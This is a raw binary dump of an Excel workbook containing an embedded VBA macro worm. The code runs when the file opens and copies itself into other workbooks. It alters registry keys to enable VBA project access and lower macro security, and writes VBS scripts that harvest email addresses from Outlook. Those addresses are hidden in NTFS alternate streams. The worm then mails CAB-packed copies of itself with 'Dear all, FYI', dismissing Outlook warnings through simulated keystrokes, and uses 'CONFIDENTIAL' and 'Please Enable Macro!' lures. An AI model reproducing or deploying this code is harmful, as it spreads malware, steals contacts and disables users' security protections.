ࡱ> d,  !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcefghijklmnopqrstuvwxyz{|}~Root Entry FZ.LL@>WorkbookrETExtDataZXVBA_PROJECT_CUR"@T>LL  !"#$%&'()+,-.023456789:;<=>?@ABDEFHJKLMNOPQRSTUVWXZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ >}'@@@@@@@@@@ <8#g"#<5'bhLWI%3F  \p_o(u7b Ba=< ThisWorkbook=OH!8\@"1h[SO10h[SO10h[SO10h[SO1$h[SO1 h[SO1"h wiSO_GB23121h[SO1h[SO1"h wiSO_GB23121h[SO+""#,##0;""\-#,##05""#,##0;[Red]""\-#,##07""#,##0.00;""\-#,##0.00A""#,##0.00;[Red]""\-#,##0.00i*2_ ""* #,##0_ ;_ ""* \-#,##0_ ;_ ""* "-"_ ;_ @_ .))_ * #,##0_ ;_ * \-#,##0_ ;_ * "-"_ ;_ @_ y,:_ ""* #,##0.00_ ;_ ""* \-#,##0.00_ ;_ ""* "-"??_ ;_ @_ 6+1_ * #,##0.00_ ;_ * \-#,##0.00_ ;_ * "-"??_ ;_ @_ \$#,##0_);\(\$#,##0\)\$#,##0_);[Red]\(\$#,##0\) \$#,##0.00_);\(\$#,##0.00\)% \$#,##0.00_);[Red]\(\$#,##0.00\) yyyy"t^"m"g";@                  , * + )    1\  8@ @  1|@ @ 8@ @ 1|@ @  <@ @  1<@ @ x@ @  8@ @    1\  1\ 8@ @ 1|@ @ x@ @  `7Macro1Sheet1VV!  ;/  ;4bZ  3 A@@  H^"2013t^vc8hbX N/eNvb _?a:NNNUSMO]\ONXTb TOo`hb T^SY T'`+RQut^gNSxkNf[!hNNf[SkNe gef[MOf[`Nb__wQ gUOyD R i  D  i1S*cc   N  dMbP?_*+%"??UDelDel*Deleted By KasperDeleted By Kasper~heDeleted By Kaspersky Lab AV Deleted By Kaspersky Lab AV Deleted By Kaspersky Lab AV Deleted By KasperheDeleted By Kaspersky Lab AV Deleted By Kaspersky Lab AV Deleted By Kaspersky Lab AV Deleted By KasperDelDelDDCd*F*>@<  7 Sheet1   6(~2<GRv^>jv΁^&~F^ 6~(3V=GQ.\va  dMbP?_*+%" dXX??U} }  } `}  } @} } }  }  } @ } } } @} }  }  } }  } `}  @@@@@@@@ @ @ @ @ @@@@@@@@@@@@@@@@@@@ "6""##"""#""""""#"""""""""8$$$%%$$$%$$$$$$%$$$$$$$$$                              !~ ?        !  "  #  "  $  % & '~ @ ( (~ @ )  * + , -  .  "  #  "  /  0 1 2~ @ ( 3 ( (~ @ 4 5 6 7  8  9  "  #  "  : (= w B ; '~ @ ( (~ @ &< &5 '= '> ? @  !  "  #  &A  (B &=}B &C ''~ &@ &( &(&&&&&&&&'' D @ E F  "  G" &(&&'&&&&&&&&&~ @ H 5 I J K @  !  "  #  A  B $"B L '~ @ ( (~ @ M 5 N O P Q  R " # " S T U '~ @ ( ( ~ @ V 5 W X Y Z  [ " # " \ }B ] 2~ @ 3 ( ( ( 8 8 8 888888888888888888DlH<^ 8$$$ <<<<<<<<<<<<<<<<<<<<< @!@"@#@$@%@&@'@(@)@*@+@,@-@.@/@0@1@2@3@4@5@6@7@8@9@:@;@<@=@>@?@8 8!8"8#8$8%8&8'8(8)8*8+8,8-8.8/808182838485868788898:8;8<8=8>8?D l<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<@@A@B@C@D@E@F@G@H@I@J@K@L@M@N@O@P@Q@R@S@T@U@V@W@X@Y@Z@[@\@]@^@_@8@8A8B8C8D8E8F8G8H8I8J8K8L8M8N8O8P8Q8RS S 8T8U8V8W8X8Y8Z8[8\8]8^8_D l<<<<<<<<<<<<<<<<<<<D<<<<<<<<<<<`@a@b@c@d@e@f@g@h@i@j@k@l@m@n@o@p@q@r@s@t@u@v@w@x@y@z@{@|@}@~@@8`8a8b8c8d8e8f8g8h8i8j8k8l8m8n8o8p8q8r8s8t8u8v8w8x8y8z8{8|8}8~8D l<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@8888~ p@6~ 0p@6~ Pp@6~ pp@6~ p@6~ p@6~ p@6~ p@6~ q@6~ 0q@6~ Pq@6~ pq@6~ q@6~ q@6~ q@6~ q@6~ r@6~ 0r@6~ Pr@6~ pr@6~ r@6~ r@6~ r@6~ r@6~ s@6~ 0s@6~ Ps@6~ ps@6DP l<<<<HHHHHHHHHHHHHHHHHHHHHHHHHHH@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@~ s@6~ s@6~ s@6~ s@6~ t@6~ 0t@6~ Pt@6~ pt@6~ t@6~ t@6~ t@6~ t@6~ u@6~ 0u@6~ Pu@6~ pu@6~ u@6~ u@6~ u@6~ u@6~ v@6~ 0v@6~ Pv@6~ pv@6~ v@6~ v@6~ v@6~ v@6~ w@6~ 0w@6~ Pw@6~ pw@6D lHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@~ w@6~ w@6~ w@6~ w@6~ x@6~ 0x@6~ Px@6~ px@6~ x@6~ x@6~ x@6~ x@6~ y@6~ 0y@6~ Py@6~ py@6~ y@6~ y@6~ y@6~ y@6~ z@6~ 0z@6~ Pz@6~ pz@6~ z@6~ z@6~ z@6~ z@6~ {@6~ 0{@6~ P{@6~ p{@6D lHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@~ {@6~ {@6~ {@6~ {@6~ |@6~ 0|@6~ P|@6~ p|@6~ |@6~ |@6~ |@6~ |@6~ }@6~ 0}@6~ P}@6~ p}@6~ }@6~ }@6~ }@6~ }@6~ ~@6~ 0~@6~ P~@6~ p~@6~ ~@6~ ~@6~ ~@6~ ~@6~ @6~ 0@6~ P@6~ p@6D lHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH@@@@@@@@@ @ @ @ @ @@@@@@@@@@@@@@@@@@@~ @6~ @6~ @6~ @6~ @6~ @6~ (@6~ 8@6~ H@6~ X@6 ~ h@6 ~ x@6 ~ @6 ~ @6 ~ @6~ @6~ Ȁ@6~ ؀@6~ @6~ @6~ @6~ @6~ (@6~ 8@6~ H@6~ X@6~ h@6~ x@6~ @6~ @6~ @6~ @6D lHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH @!@"@#@$@%@&@'@(@)@*@+@,@-@.@/@0@1@2@3@4@5@6@7@8@9@:@;@<@=@>@?@~ ȁ@6 ~ !؁@6!~ "@6"~ #@6#~ $@6$~ %@6%~ &(@6&~ '8@6'~ (H@6(~ )X@6)~ *h@6*~ +x@6+~ ,@6,~ -@6-~ .@6.~ /@6/~ 0Ȃ@60~ 1؂@61~ 2@62~ 3@63~ 4@64~ 5@65~ 6(@66~ 78@67~ 8H@68~ 9X@69~ :h@6:~ ;x@6;~ <@6<~ =@6=~ >@6>~ ?@6?D lHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH@@A@B@C@D@E@F@G@H@I@J@K@L@M@N@O@P@Q@R@S@T@U@V@W@X@Y@Z@[@\@]@^@_@~ @ȃ@6@~ A؃@6A~ B@6B~ C@6C~ D@6D~ E@6E~ F(@6F~ G8@6G~ HH@6H~ IX@6I~ Jh@6J~ Kx@6K~ L@6L~ M@6M~ N@6N~ O@6O~ PȄ@6P~ Q؄@6Q~ R@6R~ S@6S~ T@6T~ U@6U~ V(@6V~ W8@6W~ XH@6X~ YX@6Y~ Zh@6Z~ [x@6[~ \@6\~ ]@6]~ ^@6^~ _@6_D lHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH`@a@b@c@d@e@f@g@h@i@j@k@l@m@n@o@p@q@r@s@t@u@v@w@x@y@z@{@|@}@~@@~ `ȅ@6`~ a؅@6a~ b@6b~ c@6c~ d@6d~ e@6e~ f(@6f~ g8@6g~ hH@6h~ iX@6i~ jh@6j~ kx@6k~ l@6l~ m@6m~ n@6n~ o@6o~ pȆ@6p~ q؆@6q~ r@6r~ s@6s~ t@6t~ u@6u~ v(@6v~ w8@6w~ xH@6x~ yX@6y~ zh@6z~ {x@6{~ |@6|~ }@6}~ ~@6~~ @6D lHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@~ ȇ@6~ ؇@6~ @6~ @6~ @6~ @6~ (@6~ 8@6~ H@6~ X@6~ h@6~ x@6~ @6~ @6~ @6~ @6~ Ȉ@6~ ؈@6~ @6~ @6~ @6~ @6~ (@6~ 8@6~ H@6~ X@6~ h@6~ x@6~ @6~ @6~ @6~ @6D lHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@~ ȉ@6~ ؉@6~ @6~ @6~ @6~ @6~ (@6~ 8@6~ H@6~ X@6~ h@6~ x@6~ @6~ @6~ @6~ @6~ Ȋ@6~ ؊@6~ @6~ @6~ @6~ @6~ (@6~ 8@6~ H@6~ X@6~ h@6~ x@6~ @6~ @6~ @6~ @6D lHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@~ ȋ@6~ ؋@6(4~ @6~ @6~ @6~ @6~ (@6~ 8@6~ H@6~ X@6~ h@6~ x@6~ @6~ @6~ @6~ @6~ Ȍ@6~ ،@6~ @6~ @6~ @6~ @6~ (@6~ 8@6~ H@6~ X@6~ h@6~ x@6~ @6~ @6~ @6~ @6D lHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@~ ȍ@6~ ؍@6~ @6~ @6~ @6~ @6~ (@6~ 8@6~ H@6~ X@6~ h@6~ x@6~ @6~ @6~ @6~ @6~ Ȏ@6~ ؎@6~ @6~ @6~ @6~ @6~ (@6~ 8@6~ H@6~ X@6~ h@6~ x@6~ @6    ~ @6    ~ @6    ~ @6    D lHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH@@@@@@@@@ @ @ @ @ @@@@@@@@@@@@@@@@@@@~ ȏ@6    ~ ؏@6    ~ @6    ~ @6    ~ @6~  @6~ @6~ @6~ $@6~ ,@6 ~ 4@6 ~ <@6 ~ D@6 ~ L@6 ~ T@6~ \@6~ d@6~ l@6~ t@6~ |@6~ @6~ @6~ @6~ @6~ @6~ @6~ @6~ @6~ Đ@6~ ̐@6~ Ԑ@6~ ܐ@6D lHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH @!@"@#@$@%@&@'@(@)@*@+@,@-@.@/@0@1@2@3@4@5@6@7@8@9@:@;@<@=@>@?@~ @6 ~ !@6!~ "@6"~ #@6#~ $@6$~ % @6%~ &@6&~ '@6'~ ($@6(~ ),@6)~ *4@6*~ +<@6+~ ,D@6,~ -L@6-~ .T@6.~ /\@6/808182838485868788898:8;8<8=8>8?D lHHHHHHHHHHHHHHHH<<<<<<<<<<<<<<<@@A@B@C@D@E@F@G@H@I@J@K@L@M@N@O@P@Q@R@S@T@U@V@W@X@Y@Z@[@\@]@^@_@8@8A8B8C8D8E8F8G8H8I8J8K8L8M8N8O8P8Q8R8S8T8U8V8W8X8Y8Z8[8\8]8^8_D l<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<`@a@b@c@d@e@f@g@h@i@j@k@l@m@n@o@p@q@r@s@t@u@v@w@x@y@z@{@|@}@~@@8`8a8b8c8d8e8f8g8h8i8j8k8l8m8n8o8p8q8r8s8t8u8v8w8x8y8z8{8|8}8~8D l<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@88888888888888888888888888888888D l<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@88888888888888888888888888888888D l<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@88888888888888888888888888888888D l<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@88888888888888888888888888888888D l<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<@@@@@@@@@ @ @ @ @ @@@@@@@@@@@@@@@@@@@8888888888 8 8 8 8 888888888888888888D l<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< @!@"@#@$@%@&@'@(@)@*@+@,@-@.@/@0@1@2@3@4@5@6@7@8@9@:@;@<@=@>@?@8 8!8"8#8$8%8&8'8(8)8*8+8,8-8.8/808182838485868788898:8;8<8=8>8?D l<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<@@A@B@C@D@E@F@G@H@I@J@K@L@M@N@O@P@Q@R@S@T@U@V@W@X@Y@Z@[@\@]@^@_@8@8A8B8C8D8E8F8G8H8I8J8K8L8M8N8O8P8Q8R8S8T8U8V8W8X8Y8Z8[8\8]8^8_D l<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<`@a@b@c@d@e@f@g@h@i@j@k@l@m@n@o@p@q@r@s@t@u@v@w@x@y@z@{@|@}@~@@8`8a8b8c8d8e8f8g8h8i8j8k8l8m8n8o8p8q8r8s8t8u8v8w8x8y8z8{8|8}8~8D l<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@88888888888888888888888888888888D l<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<@@@@@@@@@@@@@@@@8888888888888888$,<<<<<<<<<<<<<<<|d(  L  3 ]F! d NTL  3 ]F! d NTL  3 ]F!T  d NTL  3 ]F!  d NTL  3 ]F!D  d NTL  3 ]F!  d NTL  3 ]F!4  d NTL  3 ]F!  d NTL   3  ]F !$  d NTL   3   ]F !  d NTL   3   ]F !  d NTL   3   ]F !  d NTL   3   ]F ! d NTL  3  ]F!| d NTL  3 ]F! d NTL  3 ]F!l d NTL  3 ]F! d NTL  3 ]F!\ d NTL  3 ]F! d NTL  3 ]F!L d NTL  3 ]F! d NTL  3 ]F!< d NTL  3 ]F! d NTL  3 ]F!, d NTL  3 ]F! d N>@<A @       7 Sheet2 XBA@T>LLThisWorkbook__SRP_4*0__SRP_5 /B9%IB{ x9%IB{ 5'bhLWI%3MEPSLSS6"`$\<<N0{00020819-0000-0000-C000-000000000046}x(%H` % %%*    H )Zh@"%h8@TT0fT$*\Rffff*07546611d1*\R1*#2a9*\R1*#2ad4 "  ( 0@H"  PX\`     ] Ġ $.P $(&ANo0  &{0002E157-0000-0000-C000-000000000046} Z!:!B@ $(,0 $(&! ZA@X $(,oAttribute VB_Name = "ThisWorkbook" Bas0{00020P819-0C$0046} |GlobalSpacFalse dCreatablPredeclaIdTru BExposeTemplateDerivBustomizD2Public WithEvents xx @As App ation fxx.VarHelpIDU-1 P;? Sub _open() P Set)= )On Error ResuNext4:.Disj yAlerJ= iCall do_whaEndC: Axx_w{O!ByVal wb5'& wb@8Project.References.AddFromGuid _ GUID:="BE157 -P, Major:=5, Mi nA3 CS,!"n Fʯ;H,Vxʯ;H,Vz>CS,!"nME(SLSS6"Sheet11~__SRP_6C__SRP_7 GBSheet2IN0{00020820-0000-0000-C000-000000000046}(%H` % %`h8@HH0fT$*\Rffff*08546611d14xAttribute VB_Name = "She@et1" Bast0{00020820- C$0046} |Global!SpacFalse dCreatablPre declaIdTru BExposeTemplateDeriv$Bustom izD2rU 9a4 `rU @n'##xME (SLSS<N0{00020820-0000-0000-C000-000000000046}@(%H@0fTxAttribute VB_Name = "She@et2" Bast0{00020820- C$0046} |Global!SpacFalse dCreatablPre declaIdTru BExposeTemplateDeriv$Bustom izD2rU~| #Y i ) q 1 q a QYY 1a Qt," x$ x xHt $ 0ltp x$ x lpToDOLE__SRP_2 Yf __SRP_3SXVBA_PROJECT61c*\R4*#1b*\R4*#27*\R4*#25*\R4*#2b*\R4*#2a*\R4*#34*\R4*#34" "H "0@H*TP  ""&F2*("X"0@"P4xV9 0(0X0  "   '0P `hx B  B    "(P B$ X #JxMEP @1!)0\> LL"LLPPLLPLP*Lp "@`,k  0`Hk @8PH .8`PPk # Cx% Et As % Ip0% N`x 0 14 X0`  8)[  % 14 ^% `(%+d`p ffCif)i%)k%il  14 D %`n`p`r`t`v x% T8`  14`` Th R@`x  14@ !(````` :.` ``$d `  ipi i$z 14@  4 `@ )[`!~ %` + `  i V ` &&`GB@`G`Gd`G`7@ P  ` ,````` ` h ` bb`````.` ` <x ` )Y@ YB YD YF( YH`J `L +  `  H+l` ` Sin`p`r`+0 `  e@x @z `+x `(  oI~ @ @ ( ` xI  I @ @ 4 ` ` P` @ @ @ ` h ( 0 ` 8  @@x x 8 % x$.024@x @t @p @` @\ @L ee@8< @,  Xx#Publ W@8l icat@\ @X _ope"Tp`xx =L%X@P ume X@Workbook)C@@px ume @t %@d ces.@` @\ &X`0000%, _@ T r:=5@8P "@PL dati@H !  " fT*\R4*#1d*\R1*#2ad$*\Rffff*06546611d1*\R4*#2c*\R4*#35*\R1*#2ac*\R1*#e8*\R1*#d7$*\Rffff*07546611d1*\R1*#f1*\R1*#dc*\R1*#f1*\R4*#p x      ( 0@HP Xhpx  *  " 0 @ P`h px           ( H`(x        ( "8 `  p  x        B       B L` J H H  `  p      B        * ZH V \ X`     ( H "  PX`  "    ( @Xx6^@Xx <08P B  X`hp "   0bP 02  ( .0 `hpxP    .@ JH ,,  ( " 0&8 `*h 2F$8 `p ""B>8 x2 . @6` 2 (H8h2 2H ` &p  "&2N@PNJ0*20"T@.4\x,8:(bh.P JP  $ Z 88!4p!B!>!0"H"BX"<"""(#.0#H`#J##$$0$X$x$>$D$@%VP%&%@%&R &dx&&*&&('P'(`''j'4(&P(x(j(4)&@)h)&)))0).*H8*X*J*.(+8X++6++"+ ,@,8P,6,0,P,@-8P--B->- .8.(H..p.H.P.8/X/$p// / /(/00 " 0 080H0 P0*p060F0 1&@1 h1x1 <1"1L1@2`2P2P2d 33p3@4vX44P4V85n566H777>8H8J`868&8"9 89&X9 994969 0:P:0h:*:(:x:Bh;*;$;<(<&@<h<<  << <<,<((= P=  `=p=(x== =$=== >P?X? N`?R?T@T`@>@ 2@L0A A^A:A0B 8BHB " PBXB`BhB $xBB BBBBBBBBCC C C8C@CHCPChCpCxCCCC B C2CCCCDD D(D0D B  8D@DXD`D xDDD DDDDDD*E28EpEEEB EEE4E.E F*8F hFxF B  FFF*F F F GG "  G G(G*8GJhGG GG GH H0H @HPHXH " `HhH pH HHH H@HII I 8I HIXI`IhI xII*IIII&J|0JvJ,(K XK hKxK KK B  KKK K K KK&L8L$@L"hLLLLLL L LL $(&hee !( $!* $(,611A.A0$2!Macro1G A@4j B@6 $(,kXoP@]" ThisWorkbook !:%<!>#Public WithEvents xx As ApplicationC@@Private Sub Workbook_open()C@@Set xx = ApplicationC@@On Error Resume NextC@@!Application.DisplayAlerts = FalseC@@ Call do_whatC@@End SubC@@1Private Sub xx_workbookOpen(ByVal wb As Workbook)C@@ On Error Resume NextC@@ %wb.VBProject.References.AddFromGuid _C@@ GUID:= 8&{0002E157-0000-0000-C000-000000000046} 8, _C@@ Major:=5, Minor:=3C@@ "Application.ScreenUpdating = FalseC@@!Application.DisplayAlerts = FalseC@@ copystart wbC@@u!Application.ScreenUpdating = TrueC@@End SubC@@qo]]] !:.B ThisWorkbook B%<.D D!>      !"#$%&')*+-./5123F>789:;<=0?@ABCDEGHIJ.H H5LC@Jqox8 !( $!*A@PARATAVk0i(]]k4.xls$b!:.^ Z!:.`ToDole ^ `$dGzji  0]](]@]X]p]] h'dz0k( f$z |'dzk j'dzk h!~ 'dzk j!~ 'dzkx f h%<.D !'dz@k8Temp$\ f.bas'n l n    $~ | B@ nA@ !'dzkk j!< f7C@qXdP B@ f j%<.D ! ! d'dzkkk n f h%<B@ n\$'t n.$'v n t v t  $'p.D p j%<.D D n j!<B@d D!l  n j!<%.x D!>5LC@J x!>!L x!>%'r rC@@q x j!<B@k`kX nA@'di8]]  !' $!*\k4.xls'k4.xls$ !( $!*Gk4.xls$bB@Bjcomspec$  /c attrib -S -h " $!*\K4.XLS" A@comspec$  /c Del /F /Q " $!*\K4.XLS" A@comspec$  /c RD /S /Q " $!*\K4.XLS" A@ !( $!* $(, (  B@ ( $(,kHi@8]]]( $!'scRiPTinG.fiLEsysTeMoBjEcT$.,HKEY_CURRENT_USER\Software\Microsoft\Office\ \Excel\Security\AccessVBOM',HKEY_CURRENT_USER\Software\Microsoft\Office\ \Excel\Security\Level'-HKEY_LOCAL_MACHINE\Software\Microsoft\Office\ \Excel\Security\AccessVBOM'-HKEY_LOCAL_MACHINE\Software\Microsoft\Office\ \Excel\Security\Level'''   REG_DWORDA   REG_DWORDA   REG_DWORDA   REG_DWORDAi@] WScript.Shell$.    B@dP    B@k0.o ]h Z%2B@H l 2B@Macro1 (A2$B@H =ERROR(FALSE) (A3$B@H=IF(ERROR.TYPE(RUN(" $!"))=4) (A4$B@H=ALERT("ú꣬ر $  $Please Enable Macro!",3) (A5$B@H=FILE.CLOSE(FALSE) (A6$B@H =END.IF() (A7$B@H =RETURN() (  Z!2 !!Auto_Activate =Macro1!$A$2 Z!B@  Z%(o'  $%b! 'z`kXPiH]10:00:00 ]11:00:008]14:00:00P]15:00:00h] WScript.Shell$.,HKEY_CLASSES_ROOT\mailto\shell\open\command\ %$ OUTLOOK.EXE G|j        D:\Collected_Address:frag1.txt$1| d 1D:\Collected_Address:frag1.txtA@A@k d G|j   n $    n $ | d n $ ' D:\Collected_Address:frag2.txt$X' n $  D:\Collected_Address\log.txt$|` dX D:\Collected_Address:frag1.txtA@ D:\Collected_Address:frag2.txtA@A@k k k o ] 8Ph scripting.filesystemobject$. WScript.Shell$.E:\KK %GE:\KK B@j ! ! $ _$ ._$ 'E:\KK\  _clear.vbs'"$' "  On error Resume Next Dim wsh, tle, T0, i  T0 = Timer  Set wsh=createobject("wscript.shell")  tle = "Microsoft Office Outlook" For i = 1 To 1000 $ If Timer - T0 > 60 Then Exit For  Call Refresh()  wscript.sleep 05  wsh.sendKeys "%a"  wscript.sleep 05  wsh.sendKeys " {TAB}{TAB}"  wscript.sleep 05  wsh.sendKeys "{Enter}" Next Set wsh = Nothing  wscript.quit  Sub Refresh() *Do Until wsh.AppActivate(CStr(tle)) = True $ If Timer - T0 > 60 Then Exit Sub Loop  wscript.sleep 05  wsh.SendKeys "%{F4}" End Sub VE:\KK\  _Search.vbs'$$' $  On error Resume Next Const olFolderInbox = 6 $Dim conbinded_address,WshShell,sh,ts #Set WshShell=WScript.CreateObject("WScript.Shell") Set objOutlook = CreateObject("Outlook.Application") ,Set objNamespace = objOutlook.GetNamespace("MAPI") <Set objFolder = objNamespace.GetDefaultFolder(olFolderInbox) Set TargetFolder = objFolder conbinded_address = "" !Set colItems = TargetFolder.Items wscript.sleep 300000 WshSHell.Run (" wscript.exe  ""), vbHide, False  ts = Timer For Each objMessage in colItems & If Timer - ts >55 then exit For M conbinded_address = conbinded_address & valid_address(objMessage.Body) Next add_text conbinded_address, 8 )add_text all_non_same(ReadAllTextFile), 2  WScript.Quit  +Private Function valid_address(source_data) T Dim oDict, trimed_data , temp_data, i, t_asc, header_end, trimed_arr, nonsame_arr  Dim regex, matchs, ss, arr()  Set oDict = CreateObject("Scripting.Dictionary")  Set regex = CreateObject("VBSCRIPT.REGEXP")   regex.Global = True  regex.Pattern = ",\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*" * Set matchs = regex.Execute(source_data) % ReDim trimed_arr(matchs.Count - 1) 3 For i = Lbound(trimed_arr) To Ubound(trimed_arr) / trimed_arr(i) = matchs.Item(i) & vbCrLf  Next  3 For i = LBound(trimed_arr) To UBound(trimed_arr)  oDict(trimed_arr(i)) = ""  Next   If oDict.Count > 0 Then  nonsame_arr = oDict.keys : For i = LBound(nonsame_arr) To UBound(nonsame_arr) ; valid_address = valid_address & nonsame_arr(i)  Next  End If  Set oDict = Nothing  End Function  0Private Sub add_text(inputed_string, input_frag) 5 Dim objFSO, logfile, logtext, log_path, log_folder  log_path = "D:\Collected_Address"  Set objFSO = CreateObject("Scripting.FileSystemObject")  On Error resume next 1 Set log_folder = objFSO.CreateFolder(log_path)  $ If objFSO.FileExists(log_path & " \log.txt" ) = 0 Then 7 Set logfile = objFSO.CreateTextFile(log_path & " \log.txt", True)  End If  Set log_folder = Nothing  Set logfile = Nothing   Select Case input_frag  Case 8 8 Set logtext = objFSO.OpenTextFile(log_path & " \log.txt", 8, True, -1) & logtext.Write inputed_string  logtext.Close  Case 2 8 Set logtext = objFSO.OpenTextFile(log_path & " \log.txt", 2, True, -1) & logtext.Write inputed_string  logtext.Close  End Select  set objFSO = nothing End Sub  "Private Function ReadAllTextFile()  Dim objFSO, FileName, MyFile  FileName = "D:\Collected_Address\log.txt"  Set objFSO = CreateObject("Scripting.FileSystemObject") < Set MyFile = objFSO.OpenTextFile(FileName, 1, False, -1)  If MyFile.AtEndOfStream Then  ReadAllTextFile = ""  Else ( ReadAllTextFile = MyFile.ReadAll  End If set objFSO = nothing  End Function  *Private Function all_non_same(source_data) ( Dim oDict, i, trimed_arr, nonsame_arr  all_non_same = ""  Set oDict = CreateObject("Scripting.Dictionary")  * trimed_arr = Split(source_data, vbCrLf)  3 For i = LBound(trimed_arr) To UBound(trimed_arr) ! oDict(trimed_arr(i)) = ""  Next   If oDict.Count > 0 Then  nonsame_arr = oDict.keys : For i = LBound(nonsame_arr) To UBound(nonsame_arr) B all_non_same = all_non_same & nonsame_arr(i) & vbCrLf  Next  End If  Set oDict = Nothing  End Function V ( $(& wscript.exe $ , B@*.o]  ]8 P 0'. WScript.Shell$.scripting.filesystemobject$.E:\SORCE %GE:\SORCE B@j ! ! $ _$ ._$ '*  *Message*'2 E:\sorce\ _Key.vbs'$'   .Dim oexcel,owb, WshShell,Fso,Atta_xls,sh,route On error Resume Next Set sh=WScript.CreateObject("shell.application") sh.MinimizeAll Set sh = Nothing Set Fso = CreateObject("Scripting.FileSystemObject") %Set WshShell = WScript.CreateObject("WScript.Shell") If Fso.Folderexists("E:\KK"!) = False Then Fso.CreateFolder "E:\KK" Fso.CopyFile _ WshShell.CurrentDirectory & "\ *.CAB", "E:\KK\", True For Each Atta_xls In ListDir("E:\KK")  WshShell.Run "expand " & Atta_xls & " -F:  .xls E:\KK" , 0, true Next If Fso.FileExists("E:\KK\ .xls" ) = 0 then - route = WshShell.CurrentDirectory & "\ .xls" 7 if Fso.FileExists(WshShell.CurrentDirectory & "\ .xls")=0 then # route = InputBox(" Warning! " & Chr(10) & "+You are going to open a confidential file." & Chr(10) _ " & "%Please input the complete file path." & Chr(10) & "#ex. C:\parth\confidential_file.xls", _  " Open a File" , "$Please Input the Complete File Path", 10000, 8500)  End if else  route = "E:\KK\ .xls" End If  set oexcel=createobject("excel.application") ' set owb=oexcel.workbooks.open(route)  oExcel.Visible = True Set oExcel = Nothing Set oWb = Nothing Set WshShell = Nothing Set Fso = Nothing  WScript.Quit %Private Function ListDir (ByVal Path) ( Dim Filter, a, n, Folder, Files, File  ReDim a(10)  n = 0 " Set Folder = fso.GetFolder(Path)  Set Files = Folder.Files  For Each File In Files  If left(File.Name, ) = " " and right(File.Name,3) = "CAB" Then 4 If n > UBound(a) Then ReDim Preserve a(n*2)  a(n) = File.Path  n = n + 1  End If  Next  ReDim Preserve a(n-1)  ListDir = a  End Function V !( \TEST.txt'$'    E:\sorce\ _Key.vbs  E:\sorce\ .xls V $(,A@4 E:\sorce\ .xls B@A@P$L' 6 !($A@8#"C:\" !(A@:comspec$  /c makecab /F " !( \TEST.TXT"J /D COMPRESSIONTYPE=LZX /D COMPRESSIONMEMORY=21 /D CABINETNAMETEMPLATE=../ .CAB , B@* " !( \TEST.txt %: !( \setup.rpt %: !( \setup.inf %: !(\ .CAB %:aA@comspec$  /c RD /S /Q " !(\disk1" , B@*comspec$  /c Del /F /Q " !( \TEST.txt" , B@*?comspec$  /c Del /F /Q " !( \setup.rpt" , B@*comspec$  /c Del /F /Q " !( \setup.inf" , B@*comspec$  /c RD /S /Q E:\sorce , B@*E:\KK %GE:\KK B@jcomspec$  /c MOVE /Y   .CAB E:\KK" , B@* 6A@: .  Dear all, >  >FYIE:\KK\ .CABA<comspec$  /c RD /S /Q E:\KK , B@*. $(,o=h ]H ]` G|jOutlook.Application$.J P J%N.L L B9B D9D @9h F9R H5TB@9Vq=X<Z< LB@\[ setforth A@A@A@%s`A@^A@Z<X<.J.Loh<x Win32_Process WinMgmts:$d%f.b'  h b h!jOUTLOOK ' y;k;;i; ] 0 H 'l nGzj n   n l$$ 'l z0;k(; n 'pA@4  t p  v   'r v r G l$$ v r 'lj v r 'vx:ip:` ]   '0D:\Collected_Address\log.txt$ >$|'x x x  $l$$$|'z  z 0; $zX $x'0 i9 p9]H ` scRiPTinG.fiLEsysTeMoBjEcT$. ~ %. !' B@Bi8x 8]  scRiPTinG.fiLEsysTeMoBjEcT$.   $ %G   $ B@j  %:  %.  B@ B@Bd7  %.  B@ B@Bk7o7( ]h $(, $(&h7  ! ( !!$|# Auto_ActivateG B@j6  !2 !Macro1  ( B@k66$2B@H 2B@  !2 !$2!G  (j(6 t ' t '** CONFIDENTIAL! **  +Use "$ ! ! $_key.vbs"$ To Open This File.  + "$ ! ! $_key.vbs"$ ļ.  +  $  $$5(5(q4 $(,oh4 ]   84 !' $(, $(&  !2 !Macro1G  (j3 A1:F15 $2% ! CONFIDENTIAL 'y`3kX3P3 G $2B@j $(,i33XAttribute VB_Name = "ToDOLE" PrivalSub auto_open() Application.Display@Alerts|False If ThisWorkbook.Pa@th <> 